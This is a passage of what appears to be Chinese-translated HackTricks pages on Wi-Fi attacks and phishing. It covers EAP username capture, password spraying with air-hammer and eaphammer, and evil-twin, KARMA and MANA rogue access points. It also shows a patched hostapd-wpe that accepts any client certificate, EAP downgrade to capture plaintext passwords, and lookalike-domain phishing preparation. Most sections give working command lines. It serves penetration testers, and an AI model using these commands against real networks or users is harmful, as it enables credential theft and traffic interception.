2. **EAP-MD5 (消息摘要 5)**:

* 包括从客户端发送密码的MD5哈希。由于容易受到字典攻击的漏洞、缺乏服务器认证以及无法生成特定会话的WEP密钥，**不建议**使用该方法。

3. **EAP-TLS (传输层安全)**:

* 采用客户端和服务器端证书进行身份验证，并可动态生成用于保护通信的基于用户和会话的WEP密钥。

4. **EAP-TTLS (隧道传输层安全)**:

* 通过加密隧道提供相互认证，以及一种派生动态的、每个用户、每个会话的WEP密钥的方法。它仅需要服务器端证书，客户端使用凭据。

5. **PEAP (受保护的可扩展认证协议)**:

* 通过为受保护的通信创建TLS隧道，类似于EAP的功能。由于隧道提供的保护，它允许在EAP之上使用较弱的身份验证协议。
* **PEAP-MSCHAPv2**: 通常称为PEAP，它将易受攻击的MSCHAPv2挑战/响应机制与保护性TLS隧道结合在一起。
* **PEAP-EAP-TLS (或PEAP-TLS)**: 类似于EAP-TLS，但在交换证书之前启动TLS隧道，提供额外的安全层。

您可以在[这里](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)和[这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到有关这些身份验证方法的更多信息。

### 用户名捕获

阅读<https://tools.ietf.org/html/rfc3748#page-27>后，如果您使用**EAP**，则必须支持\*\*“Identity”\*\* **消息**，并且**用户名**将在\*\*“Response Identity”\*\* **消息**中以**明文**形式发送。

即使使用最安全的身份验证方法之一：**PEAP-EAP-TLS**，也可以**捕获在EAP协议中发送的用户名**。为此，**捕获身份验证通信**（在一个信道内启动`airodump-ng`，在同一接口上启动`wireshark`）并通过`eapol`过滤数据包。\
在“**Response, Identity**”数据包中，将显示客户端的**用户名**。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-57bdc1613488f8eaf2a748d1a0bfa6ddb66185a1%2Fimage%20\(150\).png?alt=media)

### 匿名身份

EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi网络的背景下，接入点（AP）通常在关联过程中发起EAP-Identity请求。为确保用户匿名性的保护，来自用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。通过以下场景说明了这一概念：

* EAP-Identity = 匿名
* 在此场景中，所有用户都使用“匿名”作为他们的用户标识符。初始RADIUS服务器充当EAP-PEAP或EAP-TTLS服务器，负责管理PEAP或TTLS协议的服务器端。然后，内部（受保护的）身份验证方法要么在本地处理，要么委托给远程（主页）RADIUS服务器。
* EAP-Identity = 匿名@realm\_x
* 在这种情况下，来自不同领域的用户隐藏其身份，同时指示各自的领域。这使得初始RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到其主页领域中的RADIUS服务器，后者充当PEAP或TTLS服务器。初始RADIUS服务器仅充当RADIUS中继节点。
* 或者，初始RADIUS服务器可以充当EAP-PEAP或EAP-TTLS服务器，并处理受保护的身份验证方法或将其转发到另一台服务器。此选项便于为不同领域配置不同的策略。

在EAP-PEAP中，一旦建立了PEAP服务器和PEAP客户端之间的TLS隧道，PEAP服务器会发起EAP-Identity请求并通过TLS隧道传输。客户端会通过加密隧道发送包含用户真实身份的第二个EAP-Identity响应以回应此次EAP-Identity请求。这种方法有效地防止了任何窃听802.11流量的人揭示用户的实际身份。

EAP-TTLS遵循稍微不同的过程。使用EAP-TTLS时，客户端通常使用PAP或CHAP进行身份验证，由TLS隧道保护。在这种情况下，客户端在隧道建立后发送的初始TLS消息中包含一个User-Name属性和一个Password或CHAP-Password属性。

无论选择哪种协议，PEAP/TTLS服务器在建立TLS隧道后都会获知用户的真实身份。真实身份可以表示为user\@realm或仅为user。如果PEAP/TTLS服务器还负责对用户进行身份验证，则现在拥有用户的身份并继续使用TLS隧道保护的身份验证方法。或者，PEAP/TTLS服务器可以向用户的主页RADIUS服务器转发新的RADIUS请求。这个新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的身份验证方法为EAP的情况下，内部EAP消息将被传输到主页RADIUS服务器，而不包含EAP-PEAP或EAP-TTLS包装。传出RADIUS消息的User-Name属性包含用户的真实身份，替换了传入RADIUS请求中的匿名User-Name。如果受保护的身份验证方法是PAP或CHAP（仅由TTLS支持），则从TLS负载中提取的User-Name和其他身份验证属性将替换传入RADIUS请求中找到的匿名User-Name和TTLS EAP-Message属性。

有关更多信息，请查看<https://www.interlinknetworks.com/app_notes/eap-peap.htm>

### EAP-暴力破解（密码喷洒）

如果客户端预计使用**用户名和密码**（请注意，在这种情况下**EAP-TLS将无效**），则可以尝试获取**用户名列表**（请参见下一部分）和**密码**，并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)\*\*\*\*进行访问的**暴力破解**。

```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```

您也可以使用 `eaphammer` 进行此攻击：

```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```

## 客户端攻击理论

### 网络选择和漫游

* 802.11协议定义了一个站点如何加入扩展服务集（ESS），但并未指定选择ESS或其中的接入点（AP）的标准。
* 站点可以在共享相同ESSID的AP之间漫游，跨建筑物或区域保持连接。
* 该协议要求站点对ESS进行身份验证，但不要求AP对站点进行身份验证。

### 首选网络列表（PNLs）

* 站点将连接到的每个无线网络的ESSID存储在其首选网络列表（PNL）中，以及网络特定的配置详细信息。
* PNL用于自动连接到已知网络，通过简化连接过程来改善用户体验。

### 被动扫描

* AP定期广播信标帧，宣布其存在和特性，包括AP的ESSID，除非禁用广播。
* 在被动扫描期间，站点监听信标帧。如果信标的ESSID与站点的PNL中的条目匹配，则站点可能会自动连接到该AP。
* 知道设备的PNL可以通过模仿已知网络的ESSID来欺骗设备连接到伪造的AP，从而进行潜在的利用。

### 主动探测

* 主动探测涉及站点发送探测请求以发现附近的AP及其特征。
* 定向探测请求针对特定ESSID，有助于检测特定网络是否在范围内，即使是隐藏网络也可以。
* 广播探测请求具有空的SSID字段，并发送给所有附近的AP，让站点检查任何首选网络而不透露其PNL内容。

## 具有重定向到互联网的简单AP

在解释如何执行更复杂的攻击之前，将解释如何仅**创建**一个**AP**并将其**流量**重定向到连接到**互联网**的接口。

使用`ifconfig -a`检查用于创建AP的wlan接口和连接到互联网的接口是否存在。

### DHCP和DNS

```bash
apt-get install dnsmasq #Manages DHCP and DNS
```

创建配置文件 `/etc/dnsmasq.conf`：

```ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```

然后**设置IP**和**路由**：

```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```

然后 **启动** dnsmasq：

```bash
dnsmasq -C dnsmasq.conf -d
```

### hostapd

### hostapd

```bash
apt-get install hostapd
```

创建一个配置文件 `hostapd.conf`：

```ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```

**停止烦人的进程**，设置**监控模式**，然后**启动hostapd**：

```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```

### 转发和重定向

```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```

## 恶意孪生者

恶意孪生者攻击利用WiFi客户端识别网络的方式，主要依赖网络名称（ESSID），而无需基站（接入点）向客户端进行身份验证。关键点包括：

* **难以区分**：当合法和恶意接入点共享相同的ESSID和加密类型时，设备很难区分二者。现实世界中的网络通常使用多个具有相同ESSID的接入点，以无缝扩展覆盖范围。
* **客户端漫游和连接操纵**：802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点，诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过发送去认证数据包或干扰合法接入点的连接等方法来实现。
* **执行中的挑战**：在具有多个位置良好的接入点的环境中成功执行恶意孪生者攻击可能具有挑战性。去认证单个合法接入点通常会导致设备连接到另一个合法接入点，除非攻击者可以去认证所有附近的接入点或策略性地放置恶意接入点。

```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```

您还可以使用**eaphammer**创建一个恶意双子（请注意，要使用eaphammer创建恶意双子，接口**不应该**处于**监控**模式）:

```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```

或者使用Airgeddon：`选项：5,6,7,8,9（在恶意双胞胎攻击菜单中）。`

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-0d1d720922eaffcc0079b11bf634202cdc8af410%2Fimage%20\(148\).png?alt=media)

请注意，默认情况下，如果PNL中保存的ESSID受到WPA保护，设备不会自动连接到一个开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击，并希望用户手动连接到您的开放恶意双胞胎，或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎来捕获握手（使用此方法，您将无法让受害者连接到您，因为您不知道PSK，但您可以捕获握手并尝试破解它）。

*一些操作系统和防病毒软件会警告用户连接到开放网络是危险的...*

### WPA/WPA2恶意双胞胎

您可以创建一个使用WPA/2的**恶意双胞胎**，如果设备已配置为使用WPA/2连接到该SSID，它们将尝试连接。无论如何，**为了完成4次握手**，您还需要**知道**客户端将使用的**密码**。如果您**不知道**它，**连接将无法完成**。

```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```

### 企业级恶意双生

要了解这些攻击，我建议先阅读简要的[WPA企业解释](#wpa-enterprise-mgt)。

**使用hostapd-wpe**

`hostapd-wpe`需要一个**配置**文件才能工作。要**自动化**生成这些配置，您可以使用<https://github.com/WJDigby/apd_launchpad>（下载python文件到 */etc/hostapd-wpe/*）。

```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```

在配置文件中，您可以选择许多不同的内容，如SSID、频道、用户文件、证书/密钥、DH参数、WPA版本和认证...

[**使用hostapd-wpe与EAP-TLS允许任何证书登录。**](/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls)

**使用EAPHammer**

```bash
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```

默认情况下，EAPHammer使用以下身份验证方法（请注意，首先尝试获取明文密码的是GTC，然后使用更强大的身份验证方法）：

```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```

这是避免长连接时间的默认方法。但是，您也可以指定服务器的认证方法从最弱到最强：

```
--negotiate weakest
```

或者您也可以使用：

* 使用`--negotiate gtc-downgrade`来使用高效的GTC降级实现（明文密码）
* 使用`--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`来手动指定提供的方法（以与组织相同的顺序提供相同的认证方法，攻击将更难被检测）。
* [在维基中查找更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)

**使用Airgeddon**

`Airgeddon`可以使用先前生成的证书来为WPA/WPA2企业网络提供EAP身份验证。虚假网络将将连接协议降级为EAP-MD5，以便**捕获用户和密码的MD5**。稍后，攻击者可以尝试破解密码。\
`Airggedon`为您提供了\*\*持续的恶意双子攻击（嘈杂）**或**仅在有人连接时创建恶意攻击（平稳）\*\*的可能性。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-6f7ed44d11dc0cf11193ecb4d27cf5dc2ca6b77b%2Fimage%20\(129\).png?alt=media)

### 在恶意双子攻击中调试PEAP和EAP-TTLS TLS隧道

*此方法在PEAP连接中进行了测试，但由于我正在解密一个任意的TLS隧道，因此这也应该适用于EAP-TTLS*

在\_hostapd-wpe\_的**配置**中**注释**包含**dh\_file**的行（从`dh_file=/etc/hostapd-wpe/certs/dh`到`#dh_file=/etc/hostapd-wpe/certs/dh`）\
这将使`hostapd-wpe`使用RSA交换密钥，而不是DH，因此您将能够稍后**知道服务器的私钥**来**解密**流量。

现在像往常一样使用修改后的配置启动**恶意双子**使用\*\*`hostapd-wpe`**。同时，在执行恶意双子攻击的**接口**上启动**`wireshark`\*\*。

现在或稍后（当您已经捕获了一些认证意图时），您可以在`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`中向wireshark添加私有RSA密钥。

添加一个新条目并填写以下值：**IP地址 = any** -- **端口 = 0** -- **协议 = 数据** -- **密钥文件**（**选择您的密钥文件**，为避免问题，请选择一个**没有密码保护**的密钥文件）。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-83716d20920170ff57178040e903252a15c62901%2Fimage%20\(151\).png?alt=media)

然后查看新的\*\*"解密的TLS"标签\*\*：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-adbf2216e25f15ee887feeb25efbd0a43d3fbdb6%2Fimage%20\(152\).png?alt=media)

## KARMA、MANA、Loud MANA和已知信标攻击

### ESSID和MAC黑/白名单

不同类型的媒体访问控制过滤列表（MFACLs）及其相应的模式和对恶意接入点（AP）行为的影响：

1. **基于MAC的白名单**：

* 恶意AP将仅对白名单中指定的设备的探测请求做出响应，对所有未列出的设备保持不可见。

2. **基于MAC的黑名单**：

* 恶意AP将忽略黑名单中设备的探测请求，有效地使恶意AP对这些特定设备不可见。

3. **基于ESSID的白名单**：

* 恶意AP将仅对列出的特定ESSID的探测请求做出响应，使其对不包含这些ESSID的首选网络列表（PNLs）的设备不可见。

4. **基于ESSID的黑名单**：

* 恶意AP将不对黑名单中的特定ESSID的探测请求做出响应，使其对寻找这些特定网络的设备不可见。

```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```

```bash
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```

### KARMA

这种方法允许攻击者创建一个恶意接入点（AP），它会响应所有寻找连接网络的设备的探测请求。这种技术通过模仿设备正在搜索的网络，**欺骗设备连接到攻击者的AP**。一旦设备向这个恶意AP发送连接请求，它会完成连接，导致设备错误地连接到攻击者的网络。

### MANA

随后，**设备开始忽略未经请求的网络响应**，降低了原始karma攻击的有效性。然而，Ian de Villiers和Dominic White引入了一种新方法，称为**MANA攻击**。这种方法涉及恶意AP通过响应设备的广播探测请求来**捕获设备的首选网络列表（PNL）**，并提供设备之前请求过的网络名称（SSID）。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式，绕过了原始karma攻击的保护措施。

MANA攻击通过监视设备的定向和广播探测请求来运作。对于定向请求，它记录设备的MAC地址和请求的网络名称，并将这些信息添加到列表中。当接收到广播请求时，AP会回复与设备列表中任何网络匹配的信息，诱使设备连接到恶意AP。

```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```

### Loud MANA

**Loud MANA攻击**是一种高级策略，用于当设备不使用定向探测或攻击者不知道它们的首选网络列表（PNL）时。它的操作原理是**同一区域的设备很可能在它们的PNL中共享一些网络名称**。与有选择性地响应不同，这种攻击会为所有观察到的设备的组合PNL中发现的每个网络名称（ESSID）广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点（AP）的机会。

```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```

### 已知信标攻击

当**Loud MANA攻击**可能不够时，**已知信标攻击**提供了另一种方法。该方法通过模拟一个响应任何网络名称的AP，循环遍历来自字典的潜在ESSID列表，**通过强制连接过程**。这会模拟存在大量网络的情况，希望能够匹配受害者PNL中的ESSID，促使连接尝试连接到伪造的AP。该攻击可以通过与`--loud`选项结合使用来增强，以更积极地尝试诱捕设备。

Eaphammer将此攻击实现为MANA攻击，其中列表中的所有ESSID都会被充电（您还可以将其与`--loud`结合使用，创建Loud MANA + Known beacons攻击）:

```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```

**已知的信标突发攻击**

**已知的信标突发攻击**涉及对文件中列出的每个ESSID进行信标帧的快速广播。这将创建一个充满虚假网络的密集环境，极大地增加设备连接到恶意AP的可能性，特别是当与MANA攻击结合使用时。该技术利用速度和数量来淹没设备的网络选择机制。

```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```

## Wi-Fi Direct

**Wi-Fi Direct** 是一种协议，使设备可以直接使用 Wi-Fi 连接，无需传统无线接入点。这种能力已集成到各种物联网（IoT）设备中，如打印机和电视，促进了设备之间的直接通信。Wi-Fi Direct 的一个显著特点是，一个设备扮演访问点的角色，称为组所有者，用于管理连接。

Wi-Fi Direct 连接的安全性是通过 **Wi-Fi Protected Setup (WPS)** 建立的，支持几种安全配对方法，包括：

* **按键配置 (PBC)**
* **PIN 输入**
* **近场通信 (NFC)**

这些方法，特别是 PIN 输入，容易受到传统 Wi-Fi 网络中 WPS 相同的漏洞影响，使它们成为类似攻击向量的目标。

### EvilDirect Hijacking

**EvilDirect Hijacking** 是一种针对 Wi-Fi Direct 的特定攻击。它类似于恶意双胞胎攻击的概念，但针对 Wi-Fi Direct 连接。在这种情况下，攻击者冒充合法的组所有者，旨在欺骗设备连接到恶意实体。可以使用诸如 `airbase-ng` 这样的工具执行此方法，通过指定被冒充设备的信道、ESSID 和 MAC 地址：

## 参考资料

* <https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee>
* <https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9>
* <https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38>
* <https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d>
* <https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf>
* <http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/>
* <https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/>
* <https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d>
* <https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>
* <https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/>

TODO: 查看 <https://github.com/wifiphisher/wifiphisher>（使用 Facebook 登录和在 captive portals 中模拟 WPA）

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(1)%20(3)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界

**最新公告**\
了解最新发布的赏金计划和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！


# Evil Twin EAP-TLS

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt="" data-size="original">\
**赏金提示**：**注册**Intigriti，这是一家由黑客创建的高级**赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

在某个时候，我需要使用下面帖子中提出的解决方案，但是<https://github.com/OpenSecurityResearch/hostapd-wpe>中的步骤在现代kali（2019v3）中不再起作用。\
无论如何，很容易让它们起作用。\
您只需要从这里下载hostapd-2.6：[https://w1.fi/releases/](https://w1.fi/releases)，并在重新编译hostapd-wpe之前安装：`apt-get install libssl1.0-dev`

### 分析和利用无线网络中的EAP-TLS

#### 背景：无线网络中的EAP-TLS

EAP-TLS是一种安全协议，使用证书在客户端和服务器之间提供相互认证。只有在客户端和服务器互相验证对方的证书时，连接才会建立。

#### 遇到的挑战

在评估过程中，使用`hostapd-wpe`工具时遇到了一个有趣的错误。由于客户端的证书是由未知的证书颁发机构（CA）签名的，该工具拒绝了客户端的连接。这表明客户端信任了伪造服务器的证书，指向客户端端口的安全配置不严格。

#### 目标：设置中间人攻击（MiTM）

目标是修改工具以接受任何客户端证书。这将允许与恶意无线网络建立连接，并启用MiTM攻击，可能捕获明文凭据或其他敏感数据。

#### 解决方案：修改`hostapd-wpe`

对`hostapd-wpe`的源代码进行分析后发现，客户端证书验证由OpenSSL函数`SSL_set_verify`中的一个参数（`verify_peer`）控制。通过将此参数的值从1（验证）更改为0（不验证），工具被修改为接受任何客户端证书。

#### 攻击执行

1. **环境检查：** 使用`airodump-ng`监视无线网络并识别目标。
2. **设置虚假AP：** 运行修改后的`hostapd-wpe`创建一个模仿目标网络的虚假接入点（AP）。
3. **定制强制门户：** 自定义强制门户的登录页面，使其看起来合法且对目标用户熟悉。
4. **去认证攻击：** 可选地，执行去认证攻击以将客户端从合法网络断开连接并将其连接到虚假AP。
5. **捕获凭据：** 一旦客户端连接到虚假AP并与强制门户交互，它们的凭据就会被捕获。

#### 攻击观察

* 在Windows机器上，系统可能会自动连接到虚假AP，在尝试进行网页导航时显示强制门户。
* 在iPhone上，用户可能会被提示接受新证书，然后显示强制门户。

#### 结论

尽管EAP-TLS被认为是安全的，但其有效性在很大程度上取决于正确的配置和终端用户的谨慎行为。配置错误的设备或毫不知情的用户接受伪造证书可能会破坏受EAP-TLS保护的网络的安全性。

有关更多详细信息，请查看<https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/>

## 参考资料

* <https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/>

<img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ce4fbfd491ab398bd58639023728b416b0758bc1%2Fi3.png?alt=media" alt="" data-size="original">\
**赏金提示**：**注册**Intigriti，这是一家由黑客创建的高级**赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Phishing Methodology

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 方法论

1. 侦察受害者
2. 选择**受害者域名**。
3. 进行一些基本的网络枚举，**搜索受害者使用的登录门户**，并**决定**你将**冒充**哪一个。
4. 使用一些**OSINT**来**查找电子邮件**。
5. 准备环境
6. **购买**用于钓鱼评估的域名
7. **配置与邮件服务相关的记录**（SPF、DMARC、DKIM、rDNS）
8. 使用**gophish**配置VPS
9. 准备活动
10. 准备**电子邮件模板**
11. 准备用于窃取凭据的**网页**
12. 启动活动！

## 生成类似的域名或购买可信任的域名

### 域名变体技术

* **关键词**：域名包含原始域名的重要**关键词**（例如，zelster.com-management.com）。
* **连字符子域**：将子域的**点换成连字符**（例如，www-zelster.com）。
* **新TLD**：使用**新TLD**的相同域名（例如，zelster.org）
* **同形字符**：用**看起来相似的字母**替换域名中的一个字母（例如，zelfser.com）。
* **转位**：在域名中**交换两个字母**（例如，zelsetr.com）。
* **单数/复数形式**：在域名末尾添加或删除“s”（例如，zeltsers.com）。
* **省略**：从域名中**删除一个**字母（例如，zelser.com）。
* **重复**：在域名中**重复一个**字母（例如，zeltsser.com）。
* **替换**：类似于同形字符，但不那么隐蔽。用另一个字母替换域名中的一个字母，可能是键盘上原始字母附近的字母（例如，zektser.com）。
* **子域**：在域名中**引入一个点**（例如，ze.lster.com）。
* **插入**：在域名中**插入一个字母**（例如，zerltser.com）。
* **缺失点**：将TLD附加到域名中。 （例如，zelstercom.com）

**自动工具**

* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)

**网站**

* [https://dnstwist.it/](https://dnstwist.it)
* [https://dnstwister.report/](https://dnstwister.report)
* <https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/>

### 位翻转

由于各种因素（如太阳耀斑、宇宙射线或硬件错误），存储或通信中的一些位可能会自动翻转。

当这个概念**应用于DNS请求**时，DNS服务器收到的域名可能与最初请求的域名不同。

例如，在域名“windows.com”中进行单个位修改可能会将其更改为“windnws.com”。

攻击者可能会**利用这一点注册多个位翻转域**，这些域与受害者的域名相似。他们的目的是将合法用户重定向到自己的基础设施。

欲了解更多信息，请阅读<https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/>

### 购买可信任的域名

您可以在[https://www.expireddomains.net/](https://www.expireddomains.net)上搜索一个过期的域名来使用。\
为了确保您即将购买的过期域名**具有良好的SEO**，您可以查看它在以下网站中的分类：

* <http://www.fortiguard.com/webfilter>
* <https://urlfiltering.paloaltonetworks.com/query/>

## 发现电子邮件

* <https://github.com/laramies/theHarvester>（100%免费）
